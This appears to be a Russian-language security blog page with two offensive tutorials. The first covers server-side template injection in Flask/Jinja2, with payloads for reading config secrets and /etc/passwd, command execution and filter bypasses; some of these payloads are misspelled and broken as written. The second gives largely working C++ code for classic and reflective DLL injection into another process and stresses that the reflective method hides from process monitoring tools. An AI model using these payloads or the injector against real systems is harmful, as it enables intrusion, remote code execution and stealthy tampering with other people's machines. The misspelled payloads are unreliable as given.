@it_virologist

SSTI

2020-04-12T18:33:16.355Z

Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям.

В отличие от XSS, Template Injection может использоваться для прямой атаки на внутренние компоненты веб-серверов и получать удаленное выполнение кода.

Итак для примера создадим простое приложение на flask python, которое выглядит следующим образом:

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    return "Hello, World!"

if __name__ == "__main__":
    app.run(debug=True)

На странице просто выведется Hello World! .

Теперь нам нужно добавить параметры, чтобы мы могли взаимодействовать с веб-приложением. Получим просто параметр переданный в запросе request.args.get('name').

В данном случае параметр запроса name.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    return f"Hello, {output}!"

if __name__ == "__main__":
    app.run(debug=True)

Но если будем делать запрос страницы без параметра name, то получим ошибку. Чтобы избежать этого, просто проверим output в if.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    
    if output == None:
        return "name parameter not passed"  
    return f"Hello, {output}!"


if __name__ == "__main__":
    app.run(debug=True)

Отлично, теперь у нас есть приложение на flask, которое возвращает значение из get параметра и не вылетает. Теперь по уязвимости, она присутствует там, где шаблоны выполняются на стороне сервера и данные никак не обрабатываются или недостаточно обрабатываются.

Для рендеринга шаблона по строке используем render_template_string.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    
    if output != None:
        output = render_template_string(f"Hello, {output}!")
        return output
    
    return "name parameter not passed"
        
if __name__ == "__main__":
    app.run(debug=True)

Запустим сервер и передадим в запросе name={{ 7 * 7 }}
( http://localhost:port/?name={{ 7 * 7 }}), сервер вернет нам Hello, 49!, что означает, что тут присутствует уязвимость.

Механизмы шаблонов используются очень широко, и они существуют для различных языков, таких как PHP, JS, Python, Go, Ruby и многих других.

Основание того, почему они полезны, в том случае, если у вас большой веб-сайт или платформа, где много динамически изменяющихся элементов.

Например, netflix имеет тот же макет для своего контента, и изменяются только следующие вещи: заголовок, описание, баннер и некоторые другие мелкие детали, поэтому вместо создания целиком отдельной страницы для каждого фильма они просто подают данные в свои шаблоны , а затем шаблонизатор складывает все это вместе.

Получение конфигурации

Это может быть полезно для получения ключа SECRET_KEY, который используется для подписи файлов cookie, при этом вы можете создавать и подписывать свои собственные файлы cookie.

Для шаблонизатора Jinja2, который работает с фласком используем {{ config }}

Чтение локальных файлов

Это может быть использовано для чтения любого файла в системе и последующего выполнения может быть выполнен с помощью полезная нагрузка RCE. Также иногда пихают флажок на цтфках в папку с шаблонами {% include 'flag.txt'%}.

Пример полезной нагрузки альтернативы: {{''.__class__.__mro__[2].__ssubclasses__[40]('/etc/passwd').read() }}

RCE

Наконец, удаленное выполнение команд.

Очевидно, что это самый серьезный и опасный процесс, который может быть осуществлен различными способами:

{{''.__class__.__mro__[1].__subsubclasses__()[1]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Теперь мы можем взглянуть на обходные методы. Давайте начнем с метода обхода параметров.

Представьте, что у вас есть шаблонизатор, в данном случае jinja2, который принимает значение из параметра и удаляет из него все символы подчеркивания "_". Это ограничит нас от различных различных запросов, например мы не сможем обратиться {{__class__}}. Таким образом, этот обходной метод основан на идее, что только этот параметр проверяется на подчеркивание. Поэтому все, что нам нужно сделать, это передать подчеркивание через другой параметр и вызвать их из нашего шаблона.

Мы начнем с вызова атрибута класса из запроса (подчеркивания в данном запросе будут удаляться).
{{ request.__class__ }}

мы удаляем «.» и используйте | attr, чтобы сообщить шаблону, что мы используем атрибуты запроса.
{{ request|attr("__class__") }}

Далее перенаправляем все содержимое параметра attribute в функцию join, которая склеивает все значения вместе, в этом случае для создания класса они оно сконкатенируется.

{{ request|attr(["__","class","__"]|join) }}

Затем мы удаляем одно подчеркивание и просто умножаем одно на два, что позволяет python, чтобы создать новую строку из ранее указанных строк.
{{ request|attr(["_" * 2,"class","_" * 2]|join) }}

Наконец, мы сообщаем paytload, чтобы получить подчеркивания от другого параметра, называемого «usc», и добавляем подчеркивания к другому параметру. В итоге у нас получится.

http://localhost:port/?name={{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}&usc=_

В следующем методе показывается обход блокировки скобок "[", "]".

http://localhost:port/?name={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_

http://localhost:port/?name={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Еще один вариант в случае, если заблокирована точка ".":
http://localhost:port/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}

Наконец, метод обхода, который используется в случае, когда заблокированы "[", "]", "join" и "_":
http://localhost:port/?name={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Это всего лишь базовые данные обхода, но их можно комбинировать и манипулировать для достижения результатов.

А кучу полезных примеров инъекций вы можете найти туть:https://github.com/swisskyrepo/PayloadsAllTheThings

Отражающая DLL инъекция

2020-04-03T18:44:25.183Z

Чтобы полностью понять содержание этой статьи, необходимы знания:

C/C ++
WinAPI
Виртуальная память
Формат файла PE

DLL инъекция

DLL инъекция осуществляется путем внедренияDLL в пространство другого процесса и последующего выполнение его кода.

Примером может послужить следующим фрагментом кода:

VOID InjectDll(HANDLE hProcess, LPCSTR lpszDllPath) 
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, lpBaseAddress, lpszDllPath, dwDllPathLen, &dwWritten);
	HMODULE hModule = GetModuleHandle("kernel32.dll");
	LPVOID lpStartAddress = GetProcAddress(hModule, "LoadLibraryA");
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
}

Первым шагом является выделение места в пространстве виртуальной памяти целевого процесса, что можно сделать с помощью функции VirtualAllocEx, указав дескриптор процесса. Затем мы можем использовать WriteProcessMemoryдля записи данных в процесс, используя полный путь к полезной нагрузке DLL. Чтобы выполнить код, все , что мы должны сделать это восстановить LoadLibraryфункцию из kernel32модуля , а затем вызвать CreateRemoteThreadдля выполнения LoadLibrary в целевом процессе , чтобы заставить загрузить полезную нагрузку DLL в качестве библиотеки. В результате она немедленно выполнит DllMainс указанием.

Вот пример кода DLL, который я буду использовать для демонстрации:

BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) 
{
    ::MessageBox(NULL, L"Hello world!", L"Test DLL", MB_OK);
    return TRUE;
}

Отражающая DLL инъекция (Reflective DLL Injection)

В предыдущем коде внедрения DLL источник DLL получен по полному пути на диске. Из-за этого такой метод не очень скрытный, а также данная зависимость может быть проблемой в случае разделения.

Эти проблемы могут быть решены с помощью Reflective DLLинъекции,которая позволяет получать DLL в форме необработанных данных.

Чтобы иметь возможность вводить данные в целевой процесс, мы должны вручную отобразить бинарник в виртуальную память, как это делал бы загрузчик образов Windows при вызове LoadLibrary.

Вот краткое описание шагов алгоритма, которые будут выполнены для внедрения DLL в внешний процесс:

Получение полезной нагрузки DLL
Отображение DLL в памяти
После отображения его в память, его таблица импорта должна быть перестроена
Сопоставление DLL целевому процессу
Сопоставленный DLL записывается в целевой процесс.

Извлечение из ресурсов
Чтобы сохранить DLL вместе с инжектором как единое целое, мы можем воспользоваться разделом ресурсов формата PE.

Извлечение необработанного двоичного файла DLL является тривиальной задачей, которую можно выполнить с помощью API ресурса. Перед извлечением мы должны проверить, существует ли DLL в ресурсах следующим образом:

BOOL CALLBACK EnumResNameProc (HMODULE hModule, LPCWSTR lpszType, LPWSTR lpszName, LONG_PTR lParam)
{
    HRSRC *h = reinterpret_cast<HRSRC *>(lParam);
    HRSRC hRsrc = ::FindResource(hModule, lpszName, lpszType);
    
    if (!hRsrc) 
        return TRUE;
    else 
    {
        *h = hRsrc;
        return FALSE;
    }
    
    return TRUE;
}

bool Injector::HasPayload()
{
    HMODULE hModule = ::GetModuleHandle(NULL);
    if (!hModule) 
        return false;
      
    HRSRC hRsrc = NULL;
    if (!::EnumResourceNames(hModule, L"PAYLOAD", EnumResNameProc, reinterpret_cast<LPARAM>(&hRsrc)) && 
        GetLastError() != ERROR_RESOURCE_ENUM_USER_STOP)
        return false;
   
    if (!hRsrc) 
        return false;
   
    this->payload->hResPayload = hRsrc;
   
    return true;
}

Приведенный выше код будет перечислять все ресурсы типа PAYLOAD и, если выполнение будет успешным, то будет взят дескриптор ресурса путем вызова FindResource. Получив дескриптор, мы можем получить указатель на необработанные двоичные данные и скопировать их в память, используя следующую функцию:

bool Injector::LoadFromResource() 
{
    DWORD dwSize = ::SizeofResource(::GetModuleHandle(NULL), this->payload->hResPayload);
    HGLOBAL hResData = ::LoadResource(NULL, this->payload->hResPayload);
    
    if (hResData) 
    {
        LPVOID lpPayload = ::LockResource(hResData);
        if (lpPayload) 
        {
            if (MemoryMapPayload(lpPayload))
                return true;
        }
    }
    
    return false;
}

Имейте в виду, что после вызова LockResource указатель на ресурс DLL доступен только для чтения, а данные представлены в виде диска, что означает, что все смещения - это смещение файлов, а не смещения памяти.

Отображение в память
Нам понадобится преобразовать его в форму памяти для дальнейшей обработки, для этого мы можем проанализировав его структуру и отобразить его в пространство памяти.

bool Injector::MemoryMapPayload(LPVOID lpPayload) 
{
    PIMAGE_DOS_HEADER pidh = reinterpret_cast<PIMAGE_DOS_HEADER>(lpPayload);
    PIMAGE_NT_HEADERS pinh = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew);
    
    HANDLE hMapping = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, pinh->OptionalHeader.SizeOfImage, NULL);
    if (hMapping) 
    {
        LPVOID lpMapping = ::MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);
        if (lpMapping) 
        {
            //сопоставим полезную нагрузку с памятью
            ::CopyMemory(lpMapping, lpPayload, pinh->OptionalHeader.SizeOfHeaders);
            
		    //скопируем разделы
		    for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) 
		    {
		         PIMAGE_SECTION_HEADER pish = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<DWORD>(lpPayload) + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
		         ::CopyMemory(reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpMapping) + pish->VirtualAddress), reinterpret_cast<LPVOID>(reinterpret_cast<DWORD>(lpPayload) + pish->PointerToRawData), pish->SizeOfRawData);
            }
            
            this->vPayloadData = std::vector<BYTE>(reinterpret_cast<LPBYTE>(lpMapping), reinterpret_cast<LPBYTE>(lpMapping) + pinh->OptionalHeader.SizeOfImage);
            ::UnmapViewOfFile(lpMapping);
			::CloseHandle(hMapping);
			return true;
		}
		::CloseHandle(hMapping);
	}
	
	return false;
}

Здесь сегмент памяти отображается так, что мы можем преобразовать бинарный файл в его отображенный в памяти аналог. Разделы сначала копируются в память, поскольку они совпадают с объектом диска и образом памяти. Далее перечисляются заголовки разделов, чтобы собрать виртуальные смещения самих разделов, которые используются для вставки разделов в их соответствующие области. После завершения преобразования мы можем просто сохранить его и очистить отображенную память.

Пересборка и внедрение DLL

Прежде чем пересобрать библиотеку DLL, мы должны сначала проверить, существует ли целевой процесс, и, если он существует, получить дескриптор к нему. Мы можем сделать это, перечислив все запущенные процессы и затем сравнив их имена:

bool Injector::GetProcess() 
{
    PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	
	if (Process32First(hSnapshot, &pe32)) 
	{
	    while (Process32Next(hSnapshot, &pe32)) 
	    {
	        if (wcsicmp(pe32.szExeFile, this->szProcessName.c_str()) == 0) 
	        {
				HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | 
					PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | 
					PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
				::CloseHandle(hSnapshot);

				this->payload->hProcess = hProcess;
				return true;
			}
		}
	}
	else
		return ::CloseHandle(hSnapshot), false;
	return false;
}

Теперь мы можем проверить, можем ли мы выделить некоторую память в адресном пространстве целевого процесса. Для этого мы можем использовать VirtualAllocEx функцию, указав дескриптор процесса и размер изображения:

this->payload->lpAddress = ::VirtualAllocEx(this->payload->hProcess, NULL, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!this->payload->lpAddress)
					return Debug(L"Failed to allocate space: %lu\n", GetLastError()), false;

Как только мы подтвердим, что есть свободное место, мы можем перейти к пересоберем DLL. Пересоберем таблицы импорта:

bool Injector::RebuildImportTable(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh) 
{
    if (pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) 
    {
		PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
		while (pImportDescriptor->Name != NULL) 
		{
		    LPSTR lpLibrary = reinterpret_cast<PCHAR>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Name);
		    HMODULE hLibModule = ::LoadLibraryA(lpLibrary);
			
			PIMAGE_THUNK_DATA nameRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->Characteristics);
			PIMAGE_THUNK_DATA symbolRef = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk);
			PIMAGE_THUNK_DATA lpThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(reinterpret_cast<DWORD>(lpBaseAddress) + pImportDescriptor->FirstThunk);
			
			for (; nameRef->u1.AddressOfData; nameRef++, symbolRef++, lpThunk++) 
			{
				if (nameRef->u1.AddressOfData & IMAGE_ORDINAL_FLAG)
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, MAKEINTRESOURCEA(nameRef->u1.AddressOfData));
				else 
				{
					PIMAGE_IMPORT_BY_NAME thunkData = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(reinterpret_cast<DWORD>(lpBaseAddress) + nameRef->u1.AddressOfData);
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, reinterpret_cast<LPCSTR>(&thunkData->Name));
				}
			}
			
			::FreeLibrary(hLibModule);
			pImportDescriptor++;
		}
	}
	
	return true;
}

По сути, таблица импорта получается через структуру необязательного заголовка в формате PE и обходит ее, извлекая имена импортированных функций, а затем перезаписывает FirstThunk адреса. Для этого сначала нужно получить библиотеку, содержащую функцию LoadLibrary, а затем вызвать GetProcAddress для получения соответствующего адреса.

Следующим шагом является перемещение адреса с помощью таблицы перемещения. Дельта фактического выделенного базового адреса в целевом процессе вместе с исходным базовым адресом вычисляется с помощью простого вычитания:

DWORD dwDelta = reinterpret_cast<DWORD>(this->payload->lpAddress) - pinh->OptionalHeader.ImageBase;

Как и в таблице импорта, данные в таблице перемещения применяются с соответствующим смещением по указанным адресам с использованием вычисленной дельты:

bool Injector::BaseRelocate(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh, DWORD dwDelta) 
{
    IMAGE_BASE_RELOCATION* r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD>(lpBaseAddress) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    IMAGE_BASE_RELOCATION* r_end = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - sizeof(IMAGE_BASE_RELOCATION));
    for (; r < r_end; r = reinterpret_cast<IMAGE_BASE_RELOCATION*>(reinterpret_cast<DWORD_PTR>(r) + r->SizeOfBlock)) 
    {
		WORD* reloc_item = reinterpret_cast<WORD*>(r + 1);
		DWORD num_items = (r->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
		
		for (DWORD i = 0; i < num_items; ++i, ++reloc_item) 
		{
			switch (*reloc_item >> 12) 
			{
			case IMAGE_REL_BASED_ABSOLUTE:
				break;
			case IMAGE_REL_BASED_HIGHLOW:
				*(DWORD_PTR*)(reinterpret_cast<DWORD>(lpBaseAddress) + r->VirtualAddress + (*reloc_item & 0xFFF)) += dwDelta;
				break;
			default:
				return false;
			}
		}
	}
	
	return true;
}

Теперь, когда мы восстановили то, что должно быть восстановлено, и распределили память во внешнем процессе, мы можем просто написать весь двоичный файл, используя WriteProcessMemory:

if (!::WriteProcessMemory(this->payload->hProcess, this->payload->lpAddress, this->vPayloadData.data(), pinh->OptionalHeader.SizeOfImage, NULL))
		return Debug(L"Failed write payload: %lu\n", GetLastError()), false;

Выполнение DLL

Выполнение почти такое же, как и при обычном внедрении DLL с использованием вызова CreateRemoteThread. Единственная разница здесь в том, что мы не будем использовать LoadLibrary, но вместо этого мы будем использовать адрес значения точки входа непосредственно из DLL, которая должна бытьDllMain.

this->payload->dwEntryPoint = reinterpret_cast<DWORD>(this->payload->lpAddress) + pinh->OptionalHeader.AddressOfEntryPoint;

HANDLE hThread = ::CreateRemoteThread(this->payload->hProcess, NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(payload->dwEntryPoint), NULL, 0, NULL);

Вот и все!)

Демонстрация

В этой демонстрации я буду использовать, putty.exe, потому что я не могу использовать explorer.exe,потому что это 64-битный процесс по сравнению с моим 32-битным инжектором и DLL. Кроме того, у меня нигде нет 32-битной виртуалки. Я также буду использовать инструмент мониторинга Process Hacker для просмотра результата внедрения DLL.

Обычная DLL инъекция

Вот результат обычного метода внедрения DLL:

Мы можем видеть, что он четко отображается в списке загруженных модулей и очевидно, что в затронутом процессе присутствует посторонний код.

Отражающая DLL инъекция

Давайте теперь проверим метод внедрения отражающей DLL:

И здесь нет названия для этого блока памяти. Помимо RWX разрешений, нет никаких явных признаков того, что существует какой-либо сторонний код!